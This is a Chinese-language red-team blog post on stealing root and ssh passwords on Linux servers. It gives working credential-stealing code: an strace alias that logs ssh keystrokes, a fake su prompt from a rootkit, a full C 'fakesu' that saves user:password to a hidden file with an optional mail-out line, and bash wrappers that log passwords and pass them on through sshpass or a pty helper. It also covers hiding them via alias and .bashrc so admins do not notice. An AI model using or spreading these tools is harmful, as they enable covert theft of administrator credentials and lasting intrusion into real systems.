背景:
在内部的红蓝对抗实战中,可以利用strace特性可以窃取ssh口令。可以监控所有从服务器ssh连接出去的用户口令。

alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read -s2048 ssh'

但是 strace 却不能完美用在su命令上。即使你输入了正确的密码,还是提示你 Authentication failure
换句话说 我们如果使用了 alias su = strace su -o xxx -xx 这种方式,管理员输入任何密码都会提示“验证失败”,势必会引起怀疑。所以我们得舍弃strace这种方式。

分析一下su的实现
逆向了一下Linux silver 3.16.0-4-amd64环境中 su的二进制实现。

发现su实际上使用pam认证机制,屏蔽了底层的认证实现,PAM认证机制是1995年Sun公司提出的。因为当时产生了很多新的认证机制,如口令机制、RSA、DCE、kerberos认证机制,以及S/KEY和智能卡。将PAM框架和具体的认证机制分离,这样再有新的认证机制引入到系统时,不用再去修改采用认证机制的应用程序,只需要由管理员配置应用程序的认证服务模块即可。这样就可以极大的提高认证机制的通用性和灵活性。

查看服务器上的su认证对应的pam配置

如上得知 /bin/su 被设置了 suid属性。执行su命令时,真正的认证过程实际上在 pam_rootok.so 和 pam_unix.so 中。会去获取 /etc/shadow中用户的hash值,进行对比。
当我们拿到一个普通用户权限时,我们无法重现实现一个root suid属性的su,只能另想办法。

著名的rootkit程序 brootkit中使用到的su小偷代码

[ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

        echo -ne "Password:\r\033[?25l"
        read -t 30 -s pass
        echo -ne "\033[K\033[?25h"

        /bin/su && unset su && echo $pass >> /tmp/...

这里是存在严重缺陷的。大家可以自己在环境中试试看这段代码。
缺陷:管理员 会发现,每次 su 切换用户时,都必须输入两次回车,且输入两次密码。 这种情况肯定会引起管理员的注意。
所以这种方式不够完美,我们得放弃brootkit所采取的这段代码

fakesu.c的源码:

#include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #define USERNAME "werner"

    int main(int argc, char *argv[]){

    FILE *fp;
    char *user;
    char *pass;
    char filex[100];
    char clean[1000];

    sprintf(filex,"/var/tmp/.pwds");
    sprintf(clean,"rm -f /var/tmp/su 1>/dev/null 2>&1;"
            "mv -f /home/"USERNAME"/.wgetrc /home/"USERNAME"/.bash_profile;"
            "rm -f /home/"USERNAME"/.wgetrc;"
            "ln -s /bin/su /var/tmp/su;");

    if(argc==1) user="root";
    if(argc==2) user=argv[1];
    if(argc>2){
        if(strcmp(argv[1], "-l")==0)
            user=argv[2];
        else user=argv[1];}

    fprintf(stdout,"Password: ");
    pass=getpass("");
    system("sleep 3");
    fprintf(stdout,"su: Authentication failure\n");

    if ((fp=fopen(filex,"w")) != NULL)
    {
        fprintf(fp, "%s:%s\n", user, pass);
        fclose(fp);
    }

    system(clean);

    /* If you want password in your e-mail uncomment this line: */
    // system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email protected]");

    return 0;
}

这段代码年代久远。不过已经不能在现代使用这段代码了。即使管理员输入的root口令是正确的,也会提示 Authentication failure ,很容易被识别了。
上面的几种方法都不够完美,我们得另辟蹊径,打造我们自己的su小偷代码

#!/bin/bash

echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
echo "$pass"| /bin/su $*

保存为 /tmp/.sushell , 然后 alias ssh=/tmp/.sushell
利用alias别名,用bash脚本来替换正常的su命令
但是这个脚本有个问题,就是上面代码中标红的地方,运行会报错。

报错的原因是:su命令只接受终端标准化输入的内容。不能够使用管道符来传递密码。
所以解决方案就是:寻找一种工具,可以免去交互终端的过程来达到口令窃取的目的。
某论坛上曾经看到一篇文章,就是讲述利用 sshpass包来记录root口令的方法。
下载地址https://sourceforge.net/projects/sshpass/
ssh口令窃取代码

#!/bin/bash

if [ $# != "1" ]
then 
    /usr/bin/ssh
else
    echo -e "${1}'s password: \c"
    read -s pass
    echo $1":"$pass >> /tmp/.log
    echo ""
    **/tmp/.sshpass -p "$pass" /usr/bin/ssh ${1}**
fi

我们就得找到类似这个sshpass 的工具来实现su小偷。于是我就按照sshpass这个工具来仿照写了一个su小偷工具

实现效果
普通用户stanley su到root权限。
口令输入错误的情况下:

口令输入正确的情况下:

sushell的内容

#!/bin/bash

echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
/tmp/.su -p "$pass" /bin/su $*

/tmp/.su是关键,可以实现-p 传递参数给/bin/su。 实现代码代码参考
https://github.com/stanleyb0y/sushell
下载代码,make之后,cp pty /tmp/.su

alias su=/tmp/sushell

也可以放到.bashrc里,影响所有后续登录用户的su行为

源链接

Hacking more

...